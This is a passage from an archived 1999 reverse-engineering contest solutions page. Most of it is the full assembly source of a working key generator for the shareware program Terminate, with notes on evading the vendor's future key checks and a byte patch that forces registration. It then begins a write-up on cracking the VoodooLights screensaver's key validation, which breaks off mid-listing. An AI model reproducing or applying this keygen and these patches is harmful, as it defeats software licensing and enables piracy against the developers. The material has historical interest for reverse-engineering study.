SI, City[1] ;city lea DI, Temp_blk[0E0h] mov CL, City_len inc CL rep movsb lea SI, Country[1] ;country lea DI,
Temp_blk[113h] mov CL, Country_len inc CL rep movsb cmp word ptr Off_152_Flag,0 je CHECK_OFF_72 lea
di,Temp_blk[154h] mov ax,Off_154_word mov word ptr [di],ax mov ax,Off_152_word mov word ptr [di-2],ax
CHECK_OFF_72: cmp Off_72_flag,1 je Off_72_Fill jmp CHECK_RND_SIG Off_72_Fill: lea DI,Temp_blk[74h] mov Word
ptr [DI],4638h mov Word ptr [DI-2],2391h CHECK_RND_SIG: cmp Byte Ptr Rnd_sig_flag,1 je RANDOM_SIG ; this set of
constants create valid key ; for ver 3.0, 4.0 and 5.0 ; future versions also should accept keys ; with these constants in order to
accept old authentic keys lea DI,Temp_blk[150h] mov Word Ptr [DI],0 mov Word Ptr [DI-2],3EFh lea DI,Temp_blk[158h]
mov Word Ptr [DI],0FA98h mov Word Ptr [DI-2],12FDh lea DI,Temp_blk[76h] and Byte Ptr [DI],0FEh ;clear bit 0 jmp
CRC_N_PACK RANDOM_SIG: cmp Z_fil_flag,1 ; if we filled key with 0 jne CHECK_SIG ; we must fill signatures' offsets ;
with random values call RANDOMIZE cmp Off_72_flag,1 je NO_RANDOM_72 call RANDOM lea DI,Temp_blk[74h] mov
Word Ptr [DI],AX call RANDOM mov Word Ptr [DI-2],AX NO_RANDOM_72: call RANDOM lea DI,Temp_blk[150h] mov
Word Ptr [DI],AX call RANDOM mov Word Ptr [DI-2],AX call RANDOM lea DI,Temp_blk[158h] mov Word Ptr [DI],AX
call RANDOM mov Word Ptr [DI-2],AX CHECK_SIG: lea DI,Temp_blk[150h] ; else we already have random sig cmp Word
Ptr [DI],0 ; but we need check them for jnz NEXT_CHK1 ; "bad" ones cmp Word Ptr [DI-2],0B37Bh ; "thanx" to Predator666
jz BAD_SIG ; he used this const in Term4 keygen cmp Word Ptr [DI-2],0B47Bh ; "thanx" to Predator666 jz BAD_SIG ; he
used this const in Term5 keygen ; and for sure this value will be ;checked in next ver of Terminate NEXT_CHK1: cmp Word
Ptr [DI],0FE6Fh ; these constants checked jnz NEXT_CHK2 ; in Term 4,5 cmp Word Ptr [DI-2],0DF92h ; jz BAD_SIG
NEXT_CHK2: cmp Word Ptr [DI],0C740h ; these constants checked jnz SIG_OK ; in Term 4,5 cmp Word Ptr [DI-2],0AE99h
; jz BAD_SIG cmp Word Ptr [DI-2],0AE66h jz BAD_SIG SIG_OK: ; lets check offsets 156h,158h lea DI,Temp_blk[158h]
cmp Word Ptr [DI],0FA98h ; we need really random signatures jnz NEXT_CHK3 ; which dont checked in Terminate cmp

http://www.instinct.org/fravia/99solu/int0com.htm (14 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

Word Ptr [DI-2],12FDh ; at all jz BAD_SIG1 NEXT_CHK3: cmp Word Ptr [DI],0E14Dh jnz NEXT_CHK4 cmp Word Ptr
[DI-2],2E1Ah jz BAD_SIG1 NEXT_CHK4: cmp Off_72_flag,1 je CRC_N_PACK lea DI,Temp_blk[74h] cmp Word Ptr
[DI],04638h ; we need really random signatures jnz CRC_N_PACK ; which dont checked in Terminate cmp Word Ptr
[DI-2],2391h ; at all jz BAD_SIG2 BAD_SIG: call RANDOMIZE call RANDOM lea DI,Temp_blk[150h] mov Word Ptr
[DI],AX call RANDOM mov Word Ptr [DI-2],AX jmp RANDOM_SIG ; check again BAD_SIG1: call RANDOMIZE call
RANDOM lea DI,Temp_blk[158h] mov Word Ptr [DI],AX call RANDOM mov Word Ptr [DI-2],AX jmp RANDOM_SIG ;
check again BAD_SIG2: call RANDOMIZE call RANDOM lea DI,Temp_blk[74h] mov Word Ptr [DI],AX call RANDOM
mov Word Ptr [DI-2],AX jmp RANDOM_SIG ; check again CRC_N_PACK: push Crc_ax push Crc_dx or Word Ptr
Crc_ax,0FFFFh or Word Ptr Crc_dx,0FFFFh lea DI,Temp_blk[5Bh] mov Counter,5Bh call CRC_CALC ;calc crc of unpacked
blk4 STORE_CRC ; from 5bh to 15eh pop Crc_dx pop Crc_ax test DX,8000h ; if 32 bit value in dx:ax <0 je SIGN_PLUS ;
then change sign not DX neg AX SIGN_PLUS: cmp DX,0 ; this checks need because off: ; if dx:ax<0 and abs val of dx:ax<10
; after we change it sign ; and sub 10 we again get value <0 ; example: CRC of unp block 4 is dx:ax=-9 ; we change sign and
get dx:ax=9 ; lets dont check abs value and simply ; sub 10, we get dx:ax=-1 and store it to blk5 ; then when Terminate begin to
check key ; it take CRC of unpacked blk4 and ; change sign and get dx:ax=9 ; it also take values from block5 and ; change their
sign too: =1 ; Term try to add 10 to CRC of blk4 and get 19 ; not = 1 ; Term try to sub 10 and get -1 ; this also not = 1 => bad
key ; so we must look for abs value of CRC ; of unpacked block4 and add 10 if it<10 jne MINUS_10 cmp AX,0Ah ja
MINUS_10 add AX,0Ah jmp PAK MINUS_10: ; dx:ax - 0ah , where 0ah in cx:bx xor CX,CX mov BX,0Ah sub AX,BX sbb
DX,CX PAK: push AX push DX mov CX,161h-5Ah ; encrypt reginfo 3 times lea DI, Temp_blk[5Bh] ; in back order mov
Temp_ax,904h mov Temp_dx,33EEh call ED_XOR mov CX,161h-5Ah lea DI, Temp_blk[5Bh] mov Temp_ax,325Ch mov
Temp_dx,0 call ED_XOR mov CX,161h-5Ah lea DI, Temp_blk[5Bh] mov Temp_ax,7 mov Temp_dx,0 call ED_XOR ; simple
xor with 0ffh mov CX,161h-5Ah lea DI, Temp_blk[5Bh] LOOP6: xor Byte Ptr DS:[DI],0FFh inc DI loop LOOP6 pop DX pop
AX mov Bl5_ax,AX ; save values for future store mov Bl5_dx,DX ; in block 5 ret MAKE_BLK4 Endp
;-------------------------------- encrypt/decrypt ------------------------ ED_XOR Proc ; input: di must points to offset of place to
encrypt/decrypt ; cx - number of bytes to encrypt/decrypt ; kills dx,ax,bx,cx,di ; this proc taken from Terminate, modified a
little mov Counter,CX LOOP5: ; call CALC_XOR_MASK mov AX,Temp_ax mov BX,Temp_dx mov CX, AX mul Word Ptr
Mul_val ; shl CX, 1 ; shl CX, 1 ; shl CX, 1 shl CX, 3 add CH, CL add DX, CX add DX, BX shl BX, 1 shl BX, 1 add DX, BX
add DH, BL mov CL, 5 shl BX, CL add DH, BL add AX, 1 adc DX, 0 mov Word Ptr Temp_ax,AX mov Word Ptr
Temp_dx,DX xor AX, AX xchg AX, DX mov BX,X_val div BX xor Byte Ptr DS:[DI],DL inc DI dec Counter jnz LOOP5 ret
ED_XOR Endp ;-------------------------- Convert ASCII to 32 bit -------------------- CONVERT proc ; kills ax ,bx BEGIN: xor
BX,BX xor ah,ah mov counter1,4 LOOP10: inc di mov al, byte ptr ES:[DI] cmp al,'0' jb RET__ cmp al,'9' ja CHECK_CAPS
sub al,'0' DEC_C: shl bx,4 ; convert and dec counter add bx,ax dec counter1 jz SAVE_ jmp LOOP10 CHECK_CAPS: cmp
al,'A' jb RET__ cmp al,'F' ja CHECK_LOW sub al,37h jmp DEC_C CHECK_LOW: cmp al,'a' jb RET__ cmp al,'f' ja RET__
sub al,57h jmp DEC_C SAVE_: cmp word ptr Off_152_Flag,0 jnz SECOND_WORD mov Off_152_word,BX mov
Off_152_Flag,1 jmp BEGIN SECOND_WORD: mov Off_154_word,BX RET__: ret CONVERT Endp ;---------------------------
STACK ------------------------------------ STACK_SEG Segment Para Stack 'STACK' Db 256 Dup ('S') STACK_SEG Ends
;------------------------------ DATA ---------------------------------- .Data ;-------------------------------- constants
----------------------------- Bb Equ 0FEh Blk_len Equ 162h ; keyfile block's length Num_blk Equ 0Bh ; number of block in kf
X_val Equ 100h ; constant, used in calc xor mask ;-------------------------------- common variables ---------------------- Mul_val
Dw 8405h ; constant, used in calc xor mask Counter Dw 0 Counter1 Db 0 Temp_byte Db 0 Rnd_word1 Dw 1234h ; "seed" for
pseudo-random number generator Rnd_word2 Dw 5678h ;----------------------- flags, affected by command line switches --------
Z_fil_flag Db 0 ; if =1 then blocks of key will be filled with 0 ; bytes before calc crc, write reginfo, pak, etc. ; else they will be
filled with random bytes ; but with check for "bad" bytes in certain blocks Rnd_sig_flag Db 0 ; if =1 then random signatures
will be used Fixed_len_flag Db 0 ; if =1 then length of key will be = 3894 ; else 3894+rnd_len,where rnd_len is value in range
1-105 ; if =2 then length of key will be = 3905 No_hdr_flag Db 0 ; if=1 then dont write key header in block 1 No_crc_flag Db
0 ; if=1 then dont store CRC in blocks 6-10 Off_72_flag db 0 ; if =1 then values 2391h and 4638h will be written ; at offsets
72h and 74h in block 4 Off_152_Word dw 0 ; these words will be written at off 152 Off_154_Word dw 0 ; and 154 in block 4
if Off_152_Flag not = 0 Off_152_Flag db 0 Temp_ax Dw 0 ; temp vars Temp_dx Dw 0 Bl5_ax Dw 0 ; values , calculated from
CRC of block4 Bl5_dx Dw 0 ; and written to block 5 ;-------------------------------- text data ------------------------------ Nl Db
0Dh,0Ah,'$' ; next line Start_msg Db 0Dh,0Ah,Bb,' TERMINATE 3,4,5+ Advanced Key Generator ',BB,0dh,0ah Db 43 Dup
(''),0dh,0ah Db 'Coded by iNT_03h in hot summer of 1998.',0dh,0ah,0dh,0ah,'$' Start_msg1 Db 'Use: term_akg /? to get list of
advanced options.',0dh,0ah,0dh,0ah Db 'Enter info needed for create key',0dh,0ah,'$' Name_ Db 0Dh,0Ah,0Dh,0Ah,Bb,' First
and last name:$' Addr_ask Db 0Dh,0Ah,0Dh,0Ah,Bb,' Addres:$' City_ask Db 0Dh,0Ah,0Dh,0Ah,Bb,' City:$' Country_ask Db
0Dh,0Ah,0Dh,0Ah,Bb,' Country:$' Error_1 Db 0Dh,0Ah,Bb,' Could not create Terminat.key !!!$' Error_2 Db 0Dh,0Ah,Bb,'
Could not write Terminat.key !!!$' Help Db 0Dh,0Ah,Bb,' Command line syntax: term_akg
[option1][option2][...]',0Dh,0Ah,0Dh,0Ah Db ' options:',0dh,0ah Db ' ? - get this help',0dh,0ah Db ' s - use random, but valid

http://www.instinct.org/fravia/99solu/int0com.htm (15 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

"magic" values in block 4 ( else use constant',0dh,0ah Db ' "magic" values, which provide valid key for Terminate 3,4,5+
)',0dh,0ah db ' o - write 2391h,4638h to offset 72h,74h in block 4 ( else random values )',0dh,0ah db ' i - enter value to put at
offset 152h,154h ( else fill with 0 ),',0dh,0ah db ' e.g. i00ef3445 - 00efh will be written to offset 152h, 3445 - to offset
154h.',0dh,0ah Db ' z - fill unimportant part of key with 0 ( else with random bytes )',0dh,0ah Db ' l - fixed length (3894 bytes)
of key ( else add random length block )',0dh,0ah Db ' a - fixed length (3905 bytes) of key ( else add random length block
)',0dh,0ah Db ' c - dont store CRC in blocks 6-10',0dh,0ah Db ' r - dont write key header in block 1',0dh,0ah,0dh,0ah Db Bb,'
Use these advanced settings only if you know what are you doing. Default',0dh,0ah Db ' settings will create 100% valid key for
Terminate 3,4,5 and all future',0dh,0ah Db ' versions too if encryption remains same.$' Done_msg Db 0Dh,0Ah,0Dh,0Ah,Bb,'
Done. Key succesfully created.$' Bad_names Db 13,'Peter Thomsen',18,'Terry Rossid / BAI',10,'Tom Nelson',3,'N/A' Db
15,'TIMUCIN KIZILAY',8,'JIKO A.S',17,'Heiner Marczewski' Db 14,'Joshua Schultz',14,'John McCormick',17,'Stephen B.
Browne' Db 8,'R NATHAN',14,'Angela G Dubin',16,'Per Angelo Camia' Db 19,'William R. Rininger',34,'Velibor Cagalj /
Zeit.Systeme GmbH' Db 16,'Louvier Bertrand',11,'Jenny Hines',10,'Gilad Avni' Db 24,'mic-mega industries gmbh',30,'Marcus
Pullen / Computer Buyer' Db 20,'Herr Erland Lorenzen' ;bad city Bad_name_msg Db 7,0Dh,0Ah,0Dh,0Ah,'*** You''ve entered
name and/or city that TERMINATE won''t accept ***',0dh,0ah Db Bb,' Press any key to reenter reg info...$'
;--------------------------------- reg info ------------------------------ Nam Db 51 Nam_len Db 52 Dup (0) Addres Db 51 Addres_len
Db 52 Dup (0) City Db 51 City_len Db 52 Dup (0) Country Db 51 Country_len Db 52 Dup (0) ;--------------------------------- key
specific info -------------------- Keyfile Db 'terminat.key',0 Handle Dw 0 Key_header1 Db 0Dh,1Bh,5Bh,32h,4Ah,0Dh,'Terminat
personal keyfile',0dh,0ah Key_header2 Db 0Dh,0Ah,7,7,1Ah Temp_blk Db 162h Dup(0) Crc_ax Dw 0FFFFh Crc_dx Dw
0FFFFh ; table, used for calculate CRC, I took it from terminat.exe. I used my ; own C programm to convert binary file to what
you see below. Crc_table Db 0,0,0,0,96h,30h,7,77h,2Ch,61h,0Eh,0EEh,0BAh,51h,9,99h,19h,0C4h Db
6Dh,7,8Fh,0F4h,6Ah,70h,35h,0A5h,63h,0E9h,0A3h,95h,64h,9Eh,32h,88h,0DBh Db
0Eh,0A4h,0B8h,0DCh,79h,1Eh,0E9h,0D5h,0E0h,88h,0D9h,0D2h,97h,2Bh,4Ch Db
0B6h,9,0BDh,7Ch,0B1h,7Eh,7,2Dh,0B8h,0E7h,91h,1Dh,0BFh,90h,64h,10h,0B7h Db
1Dh,0F2h,20h,0B0h,6Ah,48h,71h,0B9h,0F3h,0DEh,41h,0BEh,84h,7Dh,0D4h,0DAh Db
1Ah,0EBh,0E4h,0DDh,6Dh,51h,0B5h,0D4h,0F4h,0C7h,85h,0D3h,83h,56h,98h,6Ch Db
13h,0C0h,0A8h,6Bh,64h,7Ah,0F9h,62h,0FDh,0ECh,0C9h,65h,8Ah,4Fh,5Ch,1 Db
14h,0D9h,6Ch,6,63h,63h,3Dh,0Fh,0FAh,0F5h,0Dh,8,8Dh,0C8h,20h,6Eh,3Bh Db
5Eh,10h,69h,4Ch,0E4h,41h,60h,0D5h,72h,71h,67h,0A2h,0D1h,0E4h,3,3Ch,47h Db
0D4h,4,4Bh,0FDh,85h,0Dh,0D2h,6Bh,0B5h,0Ah,0A5h,0FAh,0A8h,0B5h,35h Db
6Ch,98h,0B2h,42h,0D6h,0C9h,0BBh,0DBh,40h,0F9h,0BCh,0ACh,0E3h,6Ch,0D8h Db
32h,75h,5Ch,0DFh,45h,0CFh,0Dh,0D6h,0DCh,59h,3Dh,0D1h,0ABh,0ACh,30h,0D9h Db
26h,3Ah,0,0DEh,51h,80h,51h,0D7h,0C8h,16h,61h,0D0h,0BFh,0B5h,0F4h,0B4h Db
21h,23h,0C4h,0B3h,56h,99h,95h,0BAh,0CFh,0Fh,0A5h,0BDh,0B8h,9Eh,0B8h Db
2,28h,8,88h,5,5Fh,0B2h,0D9h,0Ch,0C6h,24h,0E9h,0Bh,0B1h,87h,7Ch,6Fh Db
2Fh,11h,4Ch,68h,58h,0ABh,1Dh,61h,0C1h,3Dh,2Dh,66h,0B6h,90h,41h,0DCh,76h Db
6,71h,0DBh,1,0BCh,20h,0D2h,98h,2Ah,10h,0D5h,0EFh,89h,85h,0B1h,71h,1Fh Db
0B5h,0B6h,6,0A5h,0E4h,0BFh,9Fh,33h,0D4h,0B8h,0E8h,0A2h,0C9h,7,78h,34h Db
0F9h,0,0Fh,8Eh,0A8h,9,96h,18h,98h,0Eh,0E1h,0BBh,0Dh,6Ah,7Fh,2Dh Db
3Dh,6Dh,8,97h,6Ch,64h,91h,1,5Ch,63h,0E6h,0F4h,51h,6Bh,6Bh,62h,61h,6Ch Db
1Ch,0D8h,30h,65h,85h,4Eh,0,62h,0F2h,0EDh,95h,6,6Ch,7Bh,0A5h,1,1Bh Db
0C1h,0F4h,8,82h,57h,0C4h,0Fh,0F5h,0C6h,0D9h,0B0h,65h,50h,0E9h,0B7h Db
12h,0EAh,0B8h,0BEh,8Bh,7Ch,88h,0B9h,0FCh,0DFh,1Dh,0DDh,62h,49h,2Dh,0DAh Db
15h,0F3h,7Ch,0D3h,8Ch,65h,4Ch,0D4h,0FBh,58h,61h,0B2h,4Dh,0CEh,51h,0B5h Db
3Ah,74h,0,0BCh,0A3h,0E2h,30h,0BBh,0D4h,41h,0A5h,0DFh,4Ah,0D7h,95h,0D8h Db
3Dh,6Dh,0C4h,0D1h,0A4h,0FBh,0F4h,0D6h,0D3h,6Ah,0E9h,69h,43h,0FCh,0D9h Db
6Eh,34h,46h,88h,67h,0ADh,0D0h,0B8h,60h,0DAh,73h,2Dh,4,44h,0E5h,1Dh,3 Db
33h,5Fh,4Ch,0Ah,0AAh,0C9h,7Ch,0Dh,0DDh,3Ch,71h,5,50h,0AAh,41h,2,27h Db
10h,10h,0Bh,0BEh,86h,20h,0Ch,0C9h,25h,0B5h,68h,57h,0B3h,85h,6Fh,20h Db
9,0D4h,66h,0B9h,9Fh,0E4h,61h,0CEh,0Eh,0F9h,0DEh,5Eh,98h,0C9h,0D9h,29h Db
22h,98h,0D0h,0B0h,0B4h,0A8h,0D7h,0C7h,17h,3Dh,0B3h,59h,81h,0Dh,0B4h Db
2Eh,3Bh,5Ch,0BDh,0B7h,0ADh,6Ch,0BAh,0C0h,20h,83h,0B8h,0EDh,0B6h,0B3h Db
0BFh,9Ah,0Ch,0E2h,0B6h,3,9Ah,0D2h,0B1h,74h,39h,47h,0D5h,0EAh,0AFh,77h Db
0D2h,9Dh,15h,26h,0DBh,4,83h,16h,0DCh,73h,12h,0Bh,63h,0E3h,84h,3Bh,64h Db
94h,3Eh,6Ah,6Dh,0Dh,0A8h,5Ah,6Ah,7Ah,0Bh,0CFh,0Eh,0E4h,9Dh,0FFh,9 Db
93h,27h,0AEh,0,0Ah,0B1h,9Eh,7,7Dh,44h,93h,0Fh,0F0h,0D2h,0A3h,8,87h Db

http://www.instinct.org/fravia/99solu/int0com.htm (16 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

68h,0F2h,1,1Eh,0FEh,0C2h,6,69h,5Dh,57h,62h,0F7h,0CBh,67h,65h,80h,71h Db
36h,6Ch,19h,0E7h,6,6Bh,6Eh,76h,1Bh,0D4h,0FEh,0E0h,2Bh,0D3h,89h,5Ah,7Ah Db
0DAh,10h,0CCh,4Ah,0DDh,67h,6Fh,0DFh,0B9h,0F9h,0F9h,0EFh,0BEh,8Eh,43h Db
0BEh,0B7h,17h,0D5h,8Eh,0B0h,60h,0E8h,0A3h,0D6h,0D6h,7Eh,93h,0D1h,0A1h Db
0C4h,0C2h,0D8h,38h,52h,0F2h,0DFh,4Fh,0F1h,67h,0BBh,0D1h,67h,57h,0BCh Db
0A6h,0DDh,6,0B5h,3Fh,4Bh,36h,0B2h,48h,0DAh,2Bh,0Dh,0D8h,4Ch,1Bh,0Ah Db
0AFh,0F6h,4Ah,3,36h,60h,7Ah,4,41h,0C3h,0EFh,60h,0DFh,55h,0DFh,67h,0A8h Db
0EFh,8Eh,6Eh,31h,79h,0BEh,69h,46h,8Ch,0B3h,61h,0CBh,1Ah,83h,66h,0BCh Db
0A0h,0D2h,6Fh,25h,36h,0E2h,68h,52h,95h,77h,0Ch,0CCh,3,47h,0Bh,0BBh Db
0B9h,16h,2,22h,2Fh,26h,5,55h,0BEh,3Bh,0BAh,0C5h,28h,0Bh,0BDh,0B2h Db
92h,5Ah,0B4h,2Bh,4,6Ah,0B3h,5Ch,0A7h,0FFh,0D7h,0C2h,31h,0CFh,0D0h,0B5h Db
8Bh,9Eh,0D9h,2Ch,1Dh,0AEh,0DEh,5Bh,0B0h,0C2h,64h,9Bh,26h,0F2h,63h,0ECh Db
9Ch,0A3h,6Ah,75h,0Ah,93h,6Dh,2,0A9h,6,9,9Ch,3Fh,36h,0Eh,0EBh,85h Db
67h,7,72h,13h,57h,0,5,82h,4Ah,0BFh,95h,14h,7Ah,0B8h,0E2h,0AEh,2Bh Db
0B1h,7Bh,38h,1Bh,0B6h,0Ch,9Bh,8Eh,0D2h,92h,0Dh,0BEh,0D5h,0E5h,0B7h Db
0EFh,0DCh,7Ch,21h,0DFh,0DBh,0Bh,0D4h,0D2h,0D3h,86h,42h,0E2h,0D4h,0F1h Db
0F8h,0B3h,0DDh,68h,6Eh,83h,0DAh,1Fh,0CDh,16h,0BEh,81h,5Bh,26h,0B9h,0F6h Db
0E1h,77h,0B0h,6Fh,77h,47h,0B7h,18h,0E6h,5Ah,8,88h,70h,6Ah,0Fh,0FFh Db
0CAh,3Bh,6,66h,5Ch,0Bh,1,11h,0FFh,9Eh,65h,8Fh,69h,0AEh,62h,0F8h,0D3h Db
0FFh,6Bh,61h,45h,0CFh,6Ch,16h,78h,0E2h,0Ah,0A0h,0EEh,0D2h,0Dh,0D7h Db
54h,83h,4,4Eh,0C2h,0B3h,3,39h,61h,26h,67h,0A7h,0F7h,16h,60h,0D0h,4Dh Db
47h,69h,49h,0DBh,77h,6Eh,3Eh,4Ah,6Ah,0D1h,0AEh,0DCh,5Ah,0D6h,0D9h,66h Db
0Bh,0DFh,40h,0F0h,3Bh,0D8h,37h,53h,0AEh,0BCh,0A9h,0C5h,9Eh,0BBh,0DEh Db
7Fh,0CFh,0B2h,47h,0E9h,0FFh,0B5h,30h,1Ch,0F2h,0BDh,0BDh,8Ah,0C2h,0BAh Db
0CAh,30h,93h,0B3h,53h,0A6h,0A3h,0B4h,24h,5,36h,0D0h,0BAh,93h,6,0D7h Db
0CDh,29h,57h,0DEh,54h,0BFh,67h,0D9h,23h,2Eh,7Ah,66h,0B3h,0B8h,4Ah,61h Db
0C4h,2,1Bh,68h,5Dh,94h,2Bh,6Fh,2Ah,37h,0BEh,0Bh,0B4h,0A1h,8Eh,0Ch Db 0C3h,1Bh,0DFh,5,5Ah,8Dh,0EFh,2,2Dh End
START ;-------------------------------- cut -------------------------------------- As I said before if you think that info I get about
original keys from PREDATOR 666's keygen for Term 3 is cheat, use: term_akg.exe c r And my keygen will generate _valid_
key based only on my knowledge I got from terminate.exe , it will be key without header and CRC stored in block 6-10. But in
this case we cannot be sure that this key will be valid in all future ver of T, because developers can begin to check for key
header, or CRC stored in block 6-10... More about keygen switches: s - will put random values at offsets 14Eh,150h instead of
values 3ef,0. Of course, values 3ef,0 are very good and they are from authentic keys I think, but I decided to make this switch
in case developers will change keyfile logic and just for fun. "Design your own key!!!" o - will put 2391h,4638h to offset
72h,74h in block 4. This values doesn't means much, they only used for set bytes x ( see 1615E3h-1615E6h - 4 bytes 01,x,01,y
) to 79h (instead of 84h) also only if offsets 156h,158h contains values 12FD, FA98. i - let you put your values to offsets
152h,154h in decrypted block 4. These values then will be xored ,converted to ASCII and stored in terminat.exe at offsets
1615F1h-1615F9h. These values not checked in Term 5, but who knows about future versions? z - fill unimportant areas in
keyfile with 0. Else this areas will be filled with random values. Of course, filling blocks with 0 is not very good idea, because
future vers of T can check for it, but "D.y.o.k!!!" l - length of keyfile will be 3894 bytes, i.e. length only really needed.
162h=384, 384*11=3894. Also not good idea to create such keys, coz they can begin to check length of key. a - length of kf
will be 3905. I decided to make this switch coz when T already registered and T search for keyfile in its directory, it tries to
open and read 3905 bytes from kf.( See IDA listing ) May be this is fake or trap (i.e. make your key 3905 bytes long , stupid
cracker, we will reject such keys in future ver of T :)), but who knows. I think we should create keys with as many random
parametrs as possible, i.e. random keys length, unimportant areas filled with random values. Any fixed values crackers use in
their keygens will only creates problems with futures versions of Terminate, because developers of T include check for those
values in Terminate. Of course, creating keys with random params can force developers to begin to check for real params, i.e.
params they use in their original keys, but then we will able to create our keys absolutely like original ones :)) infinite war. I
think there is only one way for developers: they must completely change protection scheme, keyfile logic (even if good honest
users which paid money for keys will have to get new ones). Several things I forgot to tell about: T uses next sub to calc how
many days you have in your evaluation period: 97E8:71C8 Calc_remained_days_in_eval proc far ; CODE XREF:
j_Calc_remained_da ... vars 97E8:71C8 push bp 97E8:71C9 mov bp, sp 97E8:71CB sub sp, 0Ah 97E8:71CE mov ax,
CURRENT_DATE_word ; word_192F_1766 97E8:71D1 xor dx, dx 97E8:71D3 mov [bp+var_6], ax 97E8:71D6 mov
[bp+var_4], dx 97E8:71D9 mov ax, DATE_OF_INSTALL_word ; word_192F_61C4 97E8:71DC xor dx, dx 97E8:71DE mov
[bp+var_A], ax 97E8:71E1 mov [bp+var_8], dx 97E8:71E4 mov ax, [bp+var_6] 97E8:71E7 mov dx, [bp+var_4] 97E8:71EA

http://www.instinct.org/fravia/99solu/int0com.htm (17 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

sub ax, [bp+var_A] 97E8:71ED sbb dx, [bp+var_8] 97E8:71F0 mov [bp+var_6], ax 97E8:71F3 mov [bp+var_4], dx
97E8:71F6 cmp [bp+var_4], 0 97E8:71FA jl loc_87E8_7204 97E8:71FC jg loc_87E8_720E 97E8:71FE cmp [bp+var_6], 0
97E8:7202 jnb loc_87E8_720E 97E8:7204 loc_87E8_7204: ; CODE XREF: Calc_remained_days_in_eval+32 j 97E8:7204
mov [bp+var_6], 16h 97E8:7209 mov [bp+var_4], 0 97E8:720E loc_87E8_720E: ; CODE XREF:
Calc_remained_days_in_eval+34 j 97E8:720E ; Calc_remained_days_in_eval+3A j 97E8:720E mov ax, [bp+var_6] 97E8:7211
mov [bp+var_2], ax ; return number of days left in eval period 97E8:7214 mov ax, [bp+var_2] ; return them in ax 97E8:7217
mov sp, bp 97E8:7219 pop bp 97E8:721A retf 97E8:721A Calc_remained_days_in_eval endp About files which needed by T: -
terminat.dat - contains encrypted "Unbranded version" msg - terminat.reg - contains encrypted reginfo you entered when
Terminate was installing. Terminate needs this file not every time you run it, but only if some conditions become true:
87A8:2D0B something_with_T_REG proc far ; CODE XREF: j_something_with_T_REG J 87A8:2D0B ; validate_key+1E79
p 87A8:2D0B var_206= byte ptr -206h 87A8:2D0B var_12A= byte ptr -12Ah 87A8:2D0B var_106= byte ptr -106h
87A8:2D0B var_2A= byte ptr -2Ah 87A8:2D0B var_6= byte ptr -6 87A8:2D0B var_1= byte ptr -1 87A8:2D0B arg_0= byte ptr
6 87A8:2D0B 87A8:2D0B push bp 87A8:2D0C mov bp, sp 87A8:2D0E sub sp, 206h 87A8:2D12 call @Randomize$qv ;
Randomize 87A8:2D17 mov ax, 19h 87A8:2D1A push ax 87A8:2D1B call calc_xor_mask_1 87A8:2D20 cmp ax, 3 ; only if
calc_xor_mask1 return 3 87A8:2D23 jz loc_77A8_2D28 ; T begins to do something with terminat.reg 87A8:2D25 jmp
loc_77A8_2E7F ; else just return loc_77A8_2D28: here T reads terminat.reg and encrypts it again or something like that, I
don't really care about this. - terminat.dis -- this file is not requiered by Terminate, but it contains encrypted list of authors of
Terminate, or may be those ppl are not authors hell knows... PS. By the way, there is another posibility to get registered
Terminate. It possible to write not keygenerator, but reginfo generator, i.e. user enter name,address,city,country, and reggen
encrypts it like T does and patch terminat.exe. After that we only need to put some file to Terminate directory and rename it to
terminat.key :)) PPS. Another way: rough patch ;-). I.e. we can change byte at offset 161504h in terminat.exe from BDh to 77h
and patch: 87A8:24BB call @$bsub$qm6Stringt1 ; compare "ascii" crc from reginfo with just calculated offset 69ac3h in
terminat.exe - 87A8:24C0 jz loc_77A8_24C5 ;HERE WE NEED JMP 87A8:24C2 jmp loc_77A8_27F5 ; if we go there - we
have unreg. T and Terminate registered!!! But its not very good way, because instead of our name,city,etc we'll get complete
mess for some reason, may be because of T use other mask for decrypt reginfo when it registered? So reginfo decrypted
incorrectly and even if it would decrypted correctlly it doesn't contain our name,city, etc. So this way is most rough and useless,
but possible. End of the solution.
Solution for Part II of +HCU Strainer 99. Solved by iNT_03h. TARGET: 32 bit Windows based byte patcher. TARGET of
previous target: screen saver VoodooLights v.1.1 (beta 9) ;) Note: VoodooLights requires 3Dfx card. URL:
http://asc.di.fct.unl.pt/~smd/voodoolights/download.html TOOLS: Asm Edit 1.82a, SoftIce 3.22 for W95, IDA PRO 3.75 Full
SOLUTION: First, English is not my motherlanguage, so please excuse my mistakes... VoodooLights is a great screensaver,
but its shareware and works only 30 days. So I decided to crack it. At first look target uses tough (RSA !!!) keybased protection
scheme. It uses ADVAPI32.DLL for check keys. After understanding this I decided that I don't want to mess with such kind of
encryption system (Terminate was enough for me for a while ;), and tried to find other, easier way. And of course it exist! This
listing was created by IDA for VoodooLights v1.1 beta 8 , because I cracked target month ago, and several days ago I
downloaded BETA 9, and of course protection remains same, only offsets of this sub are little different. So I didnt recreate
listing. 00412034 Validate_Key? proc near ; CODE XREF: sub_4089D8+ 00412034 ; sub_408FC8+23B p 00412034 ;
sub_40924C+FD p 00412034 var_4 = dword ptr -4 00412034 arg_0 = dword ptr 8 00412034 arg_4 = dword ptr 0Ch 00412034
arg_8 = dword ptr 10h 00412034 arg_C = dword ptr 14h 00412034 push ebp 00412035 mov ebp, esp 00412037 push ecx
00412038 push ebx 00412039 push esi 0041203A xor eax, eax 0041203C mov esi, [ebp+arg_C] 0041203F mov ebx,
[ebp+arg_8] 00412042 mov [ebp+var_4], eax 00412045 call sub_411DFC 0041204A push offset aCryptcreatehas 0041204F
lea edx, [ebp+var_4] 00412052 push edx 00412053 push 0 00412055 push 0 00412057 push 8003h 0041205C mov ecx,
dword_457ADC 00412062 push ecx 00412063 call j_CryptCreateHash 00412068 test eax, eax 0041206A setnz al 0041206D
and eax, 1 00412070 push eax 00412071 call sub_411D70 00412076 add esp, 8 00412079 push offset aCrypthashdataF
0041207E push 0 00412080 push esi 00412081 push ebx 00412082 mov edx, [ebp+var_4] 00412085 push edx 00412086 call
j_CryptHashData 0041208B test eax, eax 0041208D setnz cl 00412090 and ecx, 1 00412090 and ecx, 1 00412093 push ecx
00412094 call sub_411D70 00412099 add esp, 8 0041209C push offset aCrypthashdataF 004120A1 push 0 004120A3 push esi
